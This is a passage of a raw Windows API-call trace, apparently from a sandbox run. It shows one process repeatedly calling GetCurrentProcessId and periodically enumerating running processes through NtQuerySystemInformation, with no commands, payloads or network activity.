GetCurrentProcessId () returned 0x10c0 [0244.179] GetCurrentProcessId () returned 0x10c0 [0244.179] GetCurrentProcessId () returned 0x10c0 [0244.179] GetCurrentProcessId () returned 0x10c0 [0244.179] GetCurrentProcessId () returned 0x10c0 [0244.179] GetCurrentProcessId () returned 0x10c0 [0244.179] GetCurrentProcessId () returned 0x10c0 [0244.179] GetCurrentProcessId () returned 0x10c0 [0244.179] GetCurrentProcessId () returned 0x10c0 [0244.179] GetCurrentProcessId () returned 0x10c0 [0244.179] GetCurrentProcessId () returned 0x10c0 [0244.179] GetCurrentProcessId () returned 0x10c0 [0244.179] GetCurrentProcessId () returned 0x10c0 [0244.179] GetCurrentProcessId () returned 0x10c0 [0244.179] GetCurrentProcessId () returned 0x10c0 [0244.179] GetCurrentProcessId () returned 0x10c0 [0244.179] GetCurrentProcessId () returned 0x10c0 [0244.179] GetCurrentProcessId () returned 0x10c0 [0244.179] GetCurrentProcessId () returned 0x10c0 [0244.179] GetCurrentProcessId () returned 0x10c0 [0244.179] GetCurrentProcessId () returned 0x10c0 [0244.179] GetCurrentProcessId () returned 0x10c0 [0244.180] GetCurrentProcessId () returned 0x10c0 [0244.180] GetCurrentProcessId () returned 0x10c0 [0244.180] GetCurrentProcessId () returned 0x10c0 [0244.180] GetCurrentProcessId () returned 0x10c0 [0244.180] GetCurrentProcessId () returned 0x10c0 [0244.180] GetCurrentProcessId () returned 0x10c0 [0244.180] GetCurrentProcessId () returned 0x10c0 [0244.180] GetCurrentProcessId () returned 0x10c0 [0244.180] GetCurrentProcessId () returned 0x10c0 [0244.180] GetCurrentProcessId () returned 0x10c0 [0244.180] GetCurrentProcessId () returned 0x10c0 [0244.180] GetCurrentProcessId () returned 0x10c0 [0244.180] GetCurrentProcessId () returned 0x10c0 [0244.180] GetCurrentProcessId () returned 0x10c0 [0244.180] GetCurrentProcessId () returned 0x10c0 [0244.180] GetCurrentProcessId () returned 0x10c0 [0244.180] GetCurrentProcessId () returned 0x10c0 [0244.180] GetCurrentProcessId () returned 0x10c0 [0244.180] GetCurrentProcessId () returned 0x10c0 [0244.180] GetCurrentProcessId () returned 0x10c0 [0244.180] GetCurrentProcessId () returned 0x10c0 [0244.180] GetCurrentProcessId () returned 0x10c0 [0244.180] GetCurrentProcessId () returned 0x10c0 [0244.181] GetCurrentProcessId () returned 0x10c0 [0244.181] GetCurrentProcessId () returned 0x10c0 [0244.181] GetCurrentProcessId () returned 0x10c0 [0244.181] GetCurrentProcessId () returned 0x10c0 [0244.181] GetCurrentProcessId () returned 0x10c0 [0244.181] GetCurrentProcessId () returned 0x10c0 [0244.181] GetCurrentProcessId () returned 0x10c0 [0244.181] GetCurrentProcessId () returned 0x10c0 [0244.181] GetCurrentProcessId () returned 0x10c0 [0244.181] GetCurrentProcessId () returned 0x10c0 [0244.181] GetCurrentProcessId () returned 0x10c0 [0244.181] GetCurrentProcessId () returned 0x10c0 [0244.181] GetCurrentProcessId () returned 0x10c0 [0244.181] GetCurrentProcessId () returned 0x10c0 [0244.181] GetCurrentProcessId () returned 0x10c0 [0244.181] GetCurrentProcessId () returned 0x10c0 [0244.181] GetCurrentProcessId () returned 0x10c0 [0244.181] GetCurrentProcessId () returned 0x10c0 [0244.181] GetCurrentProcessId () returned 0x10c0 [0244.181] GetCurrentProcessId () returned 0x10c0 [0244.181] GetCurrentProcessId () returned 0x10c0 [0244.181] GetCurrentProcessId () returned 0x10c0 [0244.181] GetCurrentProcessId () returned 0x10c0 [0244.181] GetCurrentProcessId () returned 0x10c0 [0244.182] GetCurrentProcessId () returned 0x10c0 [0244.182] GetCurrentProcessId () returned 0x10c0 [0244.182] GetCurrentProcessId () returned 0x10c0 [0244.182] GetCurrentProcessId () returned 0x10c0 [0244.182] GetCurrentProcessId () returned 0x10c0 [0244.182] GetCurrentProcessId () returned 0x10c0 [0244.182] GetCurrentProcessId () returned 0x10c0 [0244.182] GetCurrentProcessId () returned 0x10c0 [0244.182] GetCurrentProcessId () returned 0x10c0 [0244.182] GetCurrentProcessId () returned 0x10c0 [0244.182] GetCurrentProcessId () returned 0x10c0 [0244.182] GetCurrentProcessId () returned 0x10c0 [0244.182] GetCurrentProcessId () returned 0x10c0 [0244.182] GetCurrentProcessId () returned 0x10c0 [0244.182] GetCurrentProcessId () returned 0x10c0 [0244.182] GetCurrentProcessId () returned 0x10c0 [0244.182] GetCurrentProcessId () returned 0x10c0 [0244.182] GetCurrentProcessId () returned 0x10c0 [0244.182] GetCurrentProcessId () returned 0x10c0 [0244.182] GetCurrentProcessId () returned 0x10c0 [0244.182] GetCurrentProcessId () returned 0x10c0 [0244.182] GetCurrentProcessId () returned 0x10c0 [0244.183] GetCurrentProcessId () returned 0x10c0 [0244.183] GetCurrentProcessId () returned 0x10c0 [0244.183] GetCurrentProcessId () returned 0x10c0 [0244.811] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1dbb0) returned 0x0 [0244.813] GetCurrentProcessId () returned 0x10c0 [0244.813] GetCurrentProcessId () returned 0x10c0 [0244.813] GetCurrentProcessId () returned 0x10c0 [0244.813] GetCurrentProcessId () returned 0x10c0 [0244.813] GetCurrentProcessId () returned 0x10c0 [0244.813] GetCurrentProcessId () returned 0x10c0 [0244.813] GetCurrentProcessId () returned 0x10c0 [0244.813] GetCurrentProcessId () returned 0x10c0 [0244.813] GetCurrentProcessId () returned 0x10c0 [0244.813] GetCurrentProcessId () returned 0x10c0 [0244.813] GetCurrentProcessId () returned 0x10c0 [0244.813] GetCurrentProcessId () returned 0x10c0 [0244.813] GetCurrentProcessId () returned 0x10c0 [0244.813] GetCurrentProcessId () returned 0x10c0 [0244.813] GetCurrentProcessId () returned 0x10c0 [0244.813] GetCurrentProcessId () returned 0x10c0 [0244.813] GetCurrentProcessId () returned 0x10c0 [0244.813] GetCurrentProcessId () returned 0x10c0 [0244.813] GetCurrentProcessId () returned 0x10c0 [0244.813] GetCurrentProcessId () returned 0x10c0 [0244.813] GetCurrentProcessId () returned 0x10c0 [0244.814] GetCurrentProcessId () returned 0x10c0 [0244.814] GetCurrentProcessId () returned 0x10c0 [0244.814] GetCurrentProcessId () returned 0x10c0 [0244.814] GetCurrentProcessId () returned 0x10c0 [0244.814] GetCurrentProcessId () returned 0x10c0 [0244.814] GetCurrentProcessId () returned 0x10c0 [0244.814] GetCurrentProcessId () returned 0x10c0 [0244.814] GetCurrentProcessId () returned 0x10c0 [0244.814] GetCurrentProcessId () returned 0x10c0 [0244.814] GetCurrentProcessId () returned 0x10c0 [0244.814] GetCurrentProcessId () returned 0x10c0 [0244.814] GetCurrentProcessId () returned 0x10c0 [0244.814] GetCurrentProcessId () returned 0x10c0 [0244.814] GetCurrentProcessId () returned 0x10c0 [0244.814] GetCurrentProcessId () returned 0x10c0 [0244.814] GetCurrentProcessId () returned 0x10c0 [0244.814] GetCurrentProcessId () returned 0x10c0 [0244.814] GetCurrentProcessId () returned 0x10c0 [0244.814] GetCurrentProcessId () returned 0x10c0 [0244.814] GetCurrentProcessId () returned 0x10c0 [0244.814] GetCurrentProcessId () returned 0x10c0 [0244.814] GetCurrentProcessId () returned 0x10c0 [0244.814] GetCurrentProcessId () returned 0x10c0 [0244.814] GetCurrentProcessId () returned 0x10c0 [0244.814] GetCurrentProcessId () returned 0x10c0 [0244.814] GetCurrentProcessId () returned 0x10c0 [0244.814] GetCurrentProcessId () returned 0x10c0 [0244.814] GetCurrentProcessId () returned 0x10c0 [0244.815] GetCurrentProcessId () returned 0x10c0 [0244.815] GetCurrentProcessId () returned 0x10c0 [0244.815] GetCurrentProcessId () returned 0x10c0 [0244.815] GetCurrentProcessId () returned 0x10c0 [0244.815] GetCurrentProcessId () returned 0x10c0 [0244.815] GetCurrentProcessId () returned 0x10c0 [0244.815] GetCurrentProcessId () returned 0x10c0 [0244.815] GetCurrentProcessId () returned 0x10c0 [0244.815] GetCurrentProcessId () returned 0x10c0 [0244.815] GetCurrentProcessId () returned 0x10c0 [0244.815] GetCurrentProcessId () returned 0x10c0 [0244.815] GetCurrentProcessId () returned 0x10c0 [0244.815] GetCurrentProcessId () returned 0x10c0 [0244.815] GetCurrentProcessId () returned 0x10c0 [0244.815] GetCurrentProcessId () returned 0x10c0 [0244.815] GetCurrentProcessId () returned 0x10c0 [0244.815] GetCurrentProcessId () returned 0x10c0 [0244.815] GetCurrentProcessId () returned 0x10c0 [0244.815] GetCurrentProcessId () returned 0x10c0 [0244.815] GetCurrentProcessId () returned 0x10c0 [0244.815] GetCurrentProcessId () returned 0x10c0 [0244.815] GetCurrentProcessId () returned 0x10c0 [0244.815] GetCurrentProcessId () returned 0x10c0 [0244.815] GetCurrentProcessId () returned 0x10c0 [0244.815] GetCurrentProcessId () returned 0x10c0 [0244.815] GetCurrentProcessId () returned 0x10c0 [0244.815] GetCurrentProcessId () returned 0x10c0 [0244.815] GetCurrentProcessId () returned 0x10c0 [0244.815] GetCurrentProcessId () returned 0x10c0 [0244.815] GetCurrentProcessId () returned 0x10c0 [0244.816] GetCurrentProcessId () returned 0x10c0 [0244.816] GetCurrentProcessId () returned 0x10c0 [0244.816] GetCurrentProcessId () returned 0x10c0 [0244.816] GetCurrentProcessId () returned 0x10c0 [0244.816] GetCurrentProcessId () returned 0x10c0 [0244.816] GetCurrentProcessId () returned 0x10c0 [0244.816] GetCurrentProcessId () returned 0x10c0 [0244.816] GetCurrentProcessId () returned 0x10c0 [0244.816] GetCurrentProcessId () returned 0x10c0 [0244.816] GetCurrentProcessId () returned 0x10c0 [0244.816] GetCurrentProcessId () returned 0x10c0 [0244.816] GetCurrentProcessId () returned 0x10c0 [0244.816] GetCurrentProcessId () returned 0x10c0 [0244.816] GetCurrentProcessId () returned 0x10c0 [0244.816] GetCurrentProcessId () returned 0x10c0 [0244.816] GetCurrentProcessId () returned 0x10c0 [0244.816] GetCurrentProcessId () returned 0x10c0 [0244.816] GetCurrentProcessId () returned 0x10c0 [0244.816] GetCurrentProcessId () returned 0x10c0 [0244.816] GetCurrentProcessId () returned 0x10c0 [0244.816] GetCurrentProcessId () returned 0x10c0 [0244.816] GetCurrentProcessId () returned 0x10c0 [0244.816] GetCurrentProcessId () returned 0x10c0 [0244.816] GetCurrentProcessId () returned 0x10c0 [0244.816] GetCurrentProcessId () returned 0x10c0 [0244.816] GetCurrentProcessId () returned 0x10c0 [0244.816] GetCurrentProcessId () returned 0x10c0 [0244.817] GetCurrentProcessId () returned 0x10c0 [0244.817] GetCurrentProcessId () returned 0x10c0 [0244.817] GetCurrentProcessId () returned 0x10c0 [0244.817] GetCurrentProcessId () returned 0x10c0 [0244.817] GetCurrentProcessId () returned 0x10c0 [0244.817] GetCurrentProcessId () returned 0x10c0 [0245.379] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1db10) returned 0x0 [0245.381] GetCurrentProcessId () returned 0x10c0 [0245.381] GetCurrentProcessId () returned 0x10c0 [0245.381] GetCurrentProcessId () returned 0x10c0 [0245.381] GetCurrentProcessId () returned 0x10c0 [0245.381] GetCurrentProcessId () returned 0x10c0 [0245.381] GetCurrentProcessId () returned 0x10c0 [0245.381] GetCurrentProcessId () returned 0x10c0 [0245.381] GetCurrentProcessId () returned 0x10c0 [0245.382] GetCurrentProcessId () returned 0x10c0 [0245.382] GetCurrentProcessId () returned 0x10c0 [0245.382] GetCurrentProcessId () returned 0x10c0 [0245.382] GetCurrentProcessId () returned 0x10c0 [0245.382] GetCurrentProcessId () returned 0x10c0 [0245.382] GetCurrentProcessId () returned 0x10c0 [0245.382] GetCurrentProcessId () returned 0x10c0 [0245.382] GetCurrentProcessId () returned 0x10c0 [0245.382] GetCurrentProcessId () returned 0x10c0 [0245.382] GetCurrentProcessId () returned 0x10c0 [0245.382] GetCurrentProcessId () returned 0x10c0 [0245.382] GetCurrentProcessId () returned 0x10c0 [0245.382] GetCurrentProcessId () returned 0x10c0 [0245.382] GetCurrentProcessId () returned 0x10c0 [0245.382] GetCurrentProcessId () returned 0x10c0 [0245.382] GetCurrentProcessId () returned 0x10c0 [0245.382] GetCurrentProcessId () returned 0x10c0 [0245.382] GetCurrentProcessId () returned 0x10c0 [0245.382] GetCurrentProcessId () returned 0x10c0 [0245.382] GetCurrentProcessId () returned 0x10c0 [0245.382] GetCurrentProcessId () returned 0x10c0 [0245.382] GetCurrentProcessId () returned 0x10c0 [0245.382] GetCurrentProcessId () returned 0x10c0 [0245.382] GetCurrentProcessId () returned 0x10c0 [0245.382] GetCurrentProcessId () returned 0x10c0 [0245.382] GetCurrentProcessId () returned 0x10c0 [0245.382] GetCurrentProcessId () returned 0x10c0 [0245.382] GetCurrentProcessId () returned 0x10c0 [0245.382] GetCurrentProcessId () returned 0x10c0 [0245.382] GetCurrentProcessId () returned 0x10c0 [0245.382] GetCurrentProcessId () returned 0x10c0 [0245.383] GetCurrentProcessId () returned 0x10c0 [0245.383] GetCurrentProcessId () returned 0x10c0 [0245.383] GetCurrentProcessId () returned 0x10c0 [0245.383] GetCurrentProcessId () returned 0x10c0 [0245.383] GetCurrentProcessId () returned 0x10c0 [0245.383] GetCurrentProcessId () returned 0x10c0 [0245.383] GetCurrentProcessId () returned 0x10c0 [0245.383] GetCurrentProcessId () returned 0x10c0 [0245.383] GetCurrentProcessId () returned 0x10c0 [0245.383] GetCurrentProcessId () returned 0x10c0 [0245.383] GetCurrentProcessId () returned 0x10c0 [0245.383] GetCurrentProcessId () returned 0x10c0 [0245.383] GetCurrentProcessId () returned 0x10c0 [0245.383] GetCurrentProcessId () returned 0x10c0 [0245.383] GetCurrentProcessId () returned 0x10c0 [0245.383] GetCurrentProcessId () returned 0x10c0 [0245.383] GetCurrentProcessId () returned 0x10c0 [0245.383] GetCurrentProcessId () returned 0x10c0 [0245.383] GetCurrentProcessId () returned 0x10c0 [0245.383] GetCurrentProcessId () returned 0x10c0 [0245.383] GetCurrentProcessId () returned 0x10c0 [0245.383] GetCurrentProcessId () returned 0x10c0 [0245.383] GetCurrentProcessId () returned 0x10c0 [0245.383] GetCurrentProcessId () returned 0x10c0 [0245.383] GetCurrentProcessId () returned 0x10c0 [0245.383] GetCurrentProcessId () returned 0x10c0 [0245.383] GetCurrentProcessId () returned 0x10c0 [0245.383] GetCurrentProcessId () returned 0x10c0 [0245.383] GetCurrentProcessId () returned 0x10c0 [0245.383] GetCurrentProcessId () returned 0x10c0 [0245.384] GetCurrentProcessId () returned 0x10c0 [0245.384] GetCurrentProcessId () returned 0x10c0 [0245.384] GetCurrentProcessId () returned 0x10c0 [0245.384] GetCurrentProcessId () returned 0x10c0 [0245.384] GetCurrentProcessId () returned 0x10c0 [0245.384] GetCurrentProcessId () returned 0x10c0 [0245.384] GetCurrentProcessId () returned 0x10c0 [0245.384] GetCurrentProcessId () returned 0x10c0 [0245.384] GetCurrentProcessId () returned 0x10c0 [0245.384] GetCurrentProcessId () returned 0x10c0 [0245.384] GetCurrentProcessId () returned 0x10c0 [0245.384] GetCurrentProcessId () returned 0x10c0 [0245.384] GetCurrentProcessId () returned 0x10c0 [0245.384] GetCurrentProcessId () returned 0x10c0 [0245.384] GetCurrentProcessId () returned 0x10c0 [0245.384] GetCurrentProcessId () returned 0x10c0 [0245.384] GetCurrentProcessId () returned 0x10c0 [0245.384] GetCurrentProcessId () returned 0x10c0 [0245.384] GetCurrentProcessId () returned 0x10c0 [0245.384] GetCurrentProcessId () returned 0x10c0 [0245.384] GetCurrentProcessId () returned 0x10c0 [0245.384] GetCurrentProcessId () returned 0x10c0 [0245.384] GetCurrentProcessId () returned 0x10c0 [0245.384] GetCurrentProcessId () returned 0x10c0 [0245.384] GetCurrentProcessId () returned 0x10c0 [0245.384] GetCurrentProcessId () returned 0x10c0 [0245.384] GetCurrentProcessId () returned 0x10c0 [0245.384] GetCurrentProcessId () returned 0x10c0 [0245.384] GetCurrentProcessId () returned 0x10c0 [0245.385] GetCurrentProcessId () returned 0x10c0 [0245.385] GetCurrentProcessId () returned 0x10c0 [0245.385] GetCurrentProcessId () returned 0x10c0 [0245.385] GetCurrentProcessId () returned 0x10c0 [0245.385] GetCurrentProcessId () returned 0x10c0 [0245.385] GetCurrentProcessId () returned 0x10c0 [0245.385] GetCurrentProcessId () returned 0x10c0 [0245.385] GetCurrentProcessId () returned 0x10c0 [0245.385] GetCurrentProcessId () returned 0x10c0 [0245.385] GetCurrentProcessId () returned 0x10c0 [0245.385] GetCurrentProcessId () returned 0x10c0 [0245.385] GetCurrentProcessId () returned 0x10c0 [0245.385] GetCurrentProcessId () returned 0x10c0 [0245.385] GetCurrentProcessId () returned 0x10c0 [0245.930] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1db10) returned 0x0 [0245.932] GetCurrentProcessId () returned 0x10c0 [0245.932] GetCurrentProcessId () returned 0x10c0 [0245.932] GetCurrentProcessId () returned 0x10c0 [0245.932] GetCurrentProcessId () returned 0x10c0 [0245.932] GetCurrentProcessId () returned 0x10c0 [0245.932] GetCurrentProcessId () returned 0x10c0 [0245.932] GetCurrentProcessId () returned 0x10c0 [0245.932] GetCurrentProcessId () returned 0x10c0 [0245.932] GetCurrentProcessId () returned 0x10c0 [0245.932] GetCurrentProcessId () returned 0x10c0 [0245.932] GetCurrentProcessId () returned 0x10c0 [0245.932] GetCurrentProcessId () returned 0x10c0 [0245.932] GetCurrentProcessId () returned 0x10c0 [0245.932] GetCurrentProcessId () returned 0x10c0 [0245.932] GetCurrentProcessId () returned 0x10c0 [0245.932] GetCurrentProcessId () returned 0x10c0 [0245.932] GetCurrentProcessId () returned 0x10c0 [0245.932] GetCurrentProcessId () returned 0x10c0 [0245.932] GetCurrentProcessId () returned 0x10c0 [0245.932] GetCurrentProcessId () returned 0x10c0 [0245.932] GetCurrentProcessId () returned 0x10c0 [0245.932] GetCurrentProcessId () returned 0x10c0 [0245.932] GetCurrentProcessId () returned 0x10c0 [0245.932] GetCurrentProcessId () returned 0x10c0 [0245.932] GetCurrentProcessId () returned 0x10c0 [0245.933] GetCurrentProcessId () returned 0x10c0 [0245.933] GetCurrentProcessId () returned 0x10c0 [0245.933] GetCurrentProcessId () returned 0x10c0 [0245.933] GetCurrentProcessId () returned 0x10c0 [0245.933] GetCurrentProcessId () returned 0x10c0 [0245.933] GetCurrentProcessId () returned 0x10c0 [0245.933] GetCurrentProcessId () returned 0x10c0 [0245.933] GetCurrentProcessId () returned 0x10c0 [0245.933] GetCurrentProcessId () returned 0x10c0 [0245.933] GetCurrentProcessId () returned 0x10c0 [0245.933] GetCurrentProcessId () returned 0x10c0 [0245.933] GetCurrentProcessId () returned 0x10c0 [0245.933] GetCurrentProcessId () returned 0x10c0 [0245.933] GetCurrentProcessId () returned 0x10c0 [0245.933] GetCurrentProcessId () returned 0x10c0 [0245.933] GetCurrentProcessId () returned 0x10c0 [0245.933] GetCurrentProcessId () returned 0x10c0 [0245.933] GetCurrentProcessId () returned 0x10c0 [0245.933] GetCurrentProcessId () returned 0x10c0 [0245.933] GetCurrentProcessId () returned 0x10c0 [0245.933] GetCurrentProcessId () returned 0x10c0 [0245.933] GetCurrentProcessId () returned 0x10c0 [0245.933] GetCurrentProcessId () returned 0x10c0 [0245.933] GetCurrentProcessId () returned 0x10c0 [0245.933] GetCurrentProcessId () returned 0x10c0 [0245.933] GetCurrentProcessId () returned 0x10c0 [0245.933] GetCurrentProcessId () returned 0x10c0 [0245.934] GetCurrentProcessId () returned 0x10c0 [0245.934] GetCurrentProcessId () returned 0x10c0 [0245.934] GetCurrentProcessId () returned 0x10c0 [0245.934] GetCurrentProcessId () returned 0x10c0 [0245.934] GetCurrentProcessId () returned 0x10c0 [0245.934] GetCurrentProcessId () returned 0x10c0 [0245.934] GetCurrentProcessId () returned 0x10c0 [0245.934] GetCurrentProcessId () returned 0x10c0 [0245.934] GetCurrentProcessId () returned 0x10c0 [0245.934] GetCurrentProcessId () returned 0x10c0 [0245.934] GetCurrentProcessId () returned 0x10c0 [0245.934] GetCurrentProcessId () returned 0x10c0 [0245.934] GetCurrentProcessId () returned 0x10c0 [0245.934] GetCurrentProcessId () returned 0x10c0 [0245.934] GetCurrentProcessId () returned 0x10c0 [0245.934] GetCurrentProcessId () returned 0x10c0 [0245.934] GetCurrentProcessId () returned 0x10c0 [0245.934] GetCurrentProcessId () returned 0x10c0 [0245.934] GetCurrentProcessId () returned 0x10c0 [0245.934] GetCurrentProcessId () returned 0x10c0 [0245.934] GetCurrentProcessId () returned 0x10c0 [0245.934] GetCurrentProcessId () returned 0x10c0 [0245.934] GetCurrentProcessId () returned 0x10c0 [0245.934] GetCurrentProcessId () returned 0x10c0 [0245.934] GetCurrentProcessId () returned 0x10c0 [0245.934] GetCurrentProcessId () returned 0x10c0 [0245.935] GetCurrentProcessId () returned 0x10c0 [0245.935] GetCurrentProcessId () returned 0x10c0 [0245.935] GetCurrentProcessId () returned 0x10c0 [0245.935] GetCurrentProcessId () returned 0x10c0 [0245.935] GetCurrentProcessId () returned 0x10c0 [0245.935] GetCurrentProcessId () returned 0x10c0 [0245.935] GetCurrentProcessId () returned 0x10c0 [0245.935] GetCurrentProcessId () returned 0x10c0 [0245.935] GetCurrentProcessId () returned 0x10c0 [0245.935] GetCurrentProcessId () returned 0x10c0 [0245.935] GetCurrentProcessId () returned 0x10c0 [0245.935] GetCurrentProcessId () returned 0x10c0 [0245.935] GetCurrentProcessId () returned 0x10c0 [0245.935] GetCurrentProcessId () returned 0x10c0 [0245.935] GetCurrentProcessId () returned 0x10c0 [0245.935] GetCurrentProcessId () returned 0x10c0 [0245.935] GetCurrentProcessId () returned 0x10c0 [0245.935] GetCurrentProcessId () returned 0x10c0 [0245.935] GetCurrentProcessId () returned 0x10c0 [0245.935] GetCurrentProcessId () returned 0x10c0 [0245.935] GetCurrentProcessId () returned 0x10c0 [0245.935] GetCurrentProcessId () returned 0x10c0 [0245.935] GetCurrentProcessId () returned 0x10c0 [0245.935] GetCurrentProcessId () returned 0x10c0 [0245.935] GetCurrentProcessId () returned 0x10c0 [0245.935] GetCurrentProcessId () returned 0x10c0 [0245.936] GetCurrentProcessId () returned 0x10c0 [0245.936] GetCurrentProcessId () returned 0x10c0 [0245.936] GetCurrentProcessId () returned 0x10c0 [0245.936] GetCurrentProcessId () returned 0x10c0 [0245.936] GetCurrentProcessId () returned 0x10c0 [0245.936] GetCurrentProcessId () returned 0x10c0 [0245.936] GetCurrentProcessId () returned 0x10c0 [0245.936] GetCurrentProcessId () returned 0x10c0 [0246.483] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1db10) returned 0x0 [0246.485] GetCurrentProcessId () returned 0x10c0 [0246.485] GetCurrentProcessId () returned 0x10c0 [0246.485] GetCurrentProcessId () returned 0x10c0 [0246.485] GetCurrentProcessId () returned 0x10c0 [0246.485] GetCurrentProcessId () returned 0x10c0 [0246.485] GetCurrentProcessId () returned 0x10c0 [0246.485] GetCurrentProcessId () returned 0x10c0 [0246.485] GetCurrentProcessId () returned 0x10c0 [0246.485] GetCurrentProcessId () returned 0x10c0 [0246.485] GetCurrentProcessId () returned 0x10c0 [0246.485] GetCurrentProcessId () returned 0x10c0 [0246.485] GetCurrentProcessId () returned 0x10c0 [0246.485] GetCurrentProcessId () returned 0x10c0 [0246.485] GetCurrentProcessId () returned 0x10c0 [0246.485] GetCurrentProcessId () returned 0x10c0 [0246.485] GetCurrentProcessId () returned 0x10c0 [0246.485] GetCurrentProcessId () returned 0x10c0 [0246.485] GetCurrentProcessId () returned 0x10c0 [0246.486] GetCurrentProcessId () returned 0x10c0 [0246.486] GetCurrentProcessId () returned 0x10c0 [0246.486] GetCurrentProcessId () returned 0x10c0 [0246.486] GetCurrentProcessId () returned 0x10c0 [0246.486] GetCurrentProcessId () returned 0x10c0 [0246.486] GetCurrentProcessId () returned 0x10c0 [0246.486] GetCurrentProcessId () returned 0x10c0 [0246.486] GetCurrentProcessId () returned 0x10c0 [0246.486] GetCurrentProcessId () returned 0x10c0 [0246.486] GetCurrentProcessId () returned 0x10c0 [0246.486] GetCurrentProcessId () returned 0x10c0 [0246.486] GetCurrentProcessId () returned 0x10c0 [0246.486] GetCurrentProcessId () returned 0x10c0 [0246.486] GetCurrentProcessId () returned 0x10c0 [0246.486] GetCurrentProcessId () returned 0x10c0 [0246.486] GetCurrentProcessId () returned 0x10c0 [0246.486] GetCurrentProcessId () returned 0x10c0 [0246.486] GetCurrentProcessId () returned 0x10c0 [0246.486] GetCurrentProcessId () returned 0x10c0 [0246.486] GetCurrentProcessId () returned 0x10c0 [0246.486] GetCurrentProcessId () returned 0x10c0 [0246.486] GetCurrentProcessId () returned 0x10c0 [0246.486] GetCurrentProcessId () returned 0x10c0 [0246.486] GetCurrentProcessId () returned 0x10c0 [0246.486] GetCurrentProcessId () returned 0x10c0 [0246.486] GetCurrentProcessId () returned 0x10c0 [0246.486] GetCurrentProcessId () returned 0x10c0 [0246.486] GetCurrentProcessId () returned 0x10c0 [0246.486] GetCurrentProcessId () returned 0x10c0 [0246.486] GetCurrentProcessId () returned 0x10c0 [0246.486] GetCurrentProcessId () returned 0x10c0 [0246.487] GetCurrentProcessId () returned 0x10c0 [0246.487] GetCurrentProcessId () returned 0x10c0 [0246.487] GetCurrentProcessId () returned 0x10c0 [0246.487] GetCurrentProcessId () returned 0x10c0 [0246.487] GetCurrentProcessId () returned 0x10c0 [0246.487] GetCurrentProcessId () returned 0x10c0 [0246.487] GetCurrentProcessId () returned 0x10c0 [0246.487] GetCurrentProcessId () returned 0x10c0 [0246.487] GetCurrentProcessId () returned 0x10c0 [0246.487] GetCurrentProcessId () returned 0x10c0 [0246.487] GetCurrentProcessId () returned 0x10c0 [0246.487] GetCurrentProcessId () returned 0x10c0 [0246.487] GetCurrentProcessId () returned 0x10c0 [0246.487] GetCurrentProcessId () returned 0x10c0 [0246.487] GetCurrentProcessId () returned 0x10c0 [0246.487] GetCurrentProcessId () returned 0x10c0 [0246.487] GetCurrentProcessId () returned 0x10c0 [0246.487] GetCurrentProcessId () returned 0x10c0 [0246.487] GetCurrentProcessId () returned 0x10c0 [0246.487] GetCurrentProcessId () returned 0x10c0 [0246.487] GetCurrentProcessId () returned 0x10c0 [0246.487] GetCurrentProcessId () returned 0x10c0 [0246.487] GetCurrentProcessId () returned 0x10c0 [0246.487] GetCurrentProcessId () returned 0x10c0 [0246.487] GetCurrentProcessId () returned 0x10c0 [0246.487] GetCurrentProcessId () returned 0x10c0 [0246.487] GetCurrentProcessId () returned 0x10c0 [0246.487] GetCurrentProcessId () returned 0x10c0 [0246.487] GetCurrentProcessId () returned 0x10c0 [0246.487] GetCurrentProcessId () returned 0x10c0 [0246.488] GetCurrentProcessId () returned 0x10c0 [0246.488] GetCurrentProcessId () returned 0x10c0 [0246.488] GetCurrentProcessId () returned 0x10c0 [0246.488] GetCurrentProcessId () returned 0x10c0 [0246.488] GetCurrentProcessId () returned 0x10c0 [0246.488] GetCurrentProcessId () returned 0x10c0 [0246.488] GetCurrentProcessId () returned 0x10c0 [0246.488] GetCurrentProcessId () returned 0x10c0 [0246.488] GetCurrentProcessId () returned 0x10c0 [0246.488] GetCurrentProcessId () returned 0x10c0 [0246.488] GetCurrentProcessId () returned 0x10c0 [0246.488] GetCurrentProcessId () returned 0x10c0 [0246.488] GetCurrentProcessId () returned 0x10c0 [0246.488] GetCurrentProcessId () returned 0x10c0 [0246.488] GetCurrentProcessId () returned 0x10c0 [0246.488] GetCurrentProcessId () returned 0x10c0 [0246.488] GetCurrentProcessId () returned 0x10c0 [0246.488] GetCurrentProcessId () returned 0x10c0 [0246.488] GetCurrentProcessId () returned 0x10c0 [0246.488] GetCurrentProcessId () returned 0x10c0 [0246.488] GetCurrentProcessId () returned 0x10c0 [0246.488] GetCurrentProcessId () returned 0x10c0 [0246.488] GetCurrentProcessId () returned 0x10c0 [0246.488] GetCurrentProcessId () returned 0x10c0 [0246.488] GetCurrentProcessId () returned 0x10c0 [0246.488] GetCurrentProcessId () returned 0x10c0 [0246.488] GetCurrentProcessId () returned 0x10c0 [0246.488] GetCurrentProcessId () returned 0x10c0 [0246.488] GetCurrentProcessId () returned 0x10c0 [0246.488] GetCurrentProcessId () returned 0x10c0 [0246.488] GetCurrentProcessId () returned 0x10c0 [0246.488] GetCurrentProcessId () returned 0x10c0 [0246.489] GetCurrentProcessId () returned 0x10c0 [0247.080] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1db10) returned 0x0 [0247.081] GetCurrentProcessId () returned 0x10c0 [0247.081] GetCurrentProcessId () returned 0x10c0 [0247.081] GetCurrentProcessId () returned 0x10c0 [0247.082] GetCurrentProcessId () returned 0x10c0 [0247.082] GetCurrentProcessId () returned 0x10c0 [0247.082] GetCurrentProcessId () returned 0x10c0 [0247.082] GetCurrentProcessId () returned 0x10c0 [0247.082] GetCurrentProcessId () returned 0x10c0 [0247.082] GetCurrentProcessId () returned 0x10c0 [0247.082] GetCurrentProcessId () returned 0x10c0 [0247.082] GetCurrentProcessId () returned 0x10c0 [0247.082] GetCurrentProcessId () returned 0x10c0 [0247.082] GetCurrentProcessId () returned 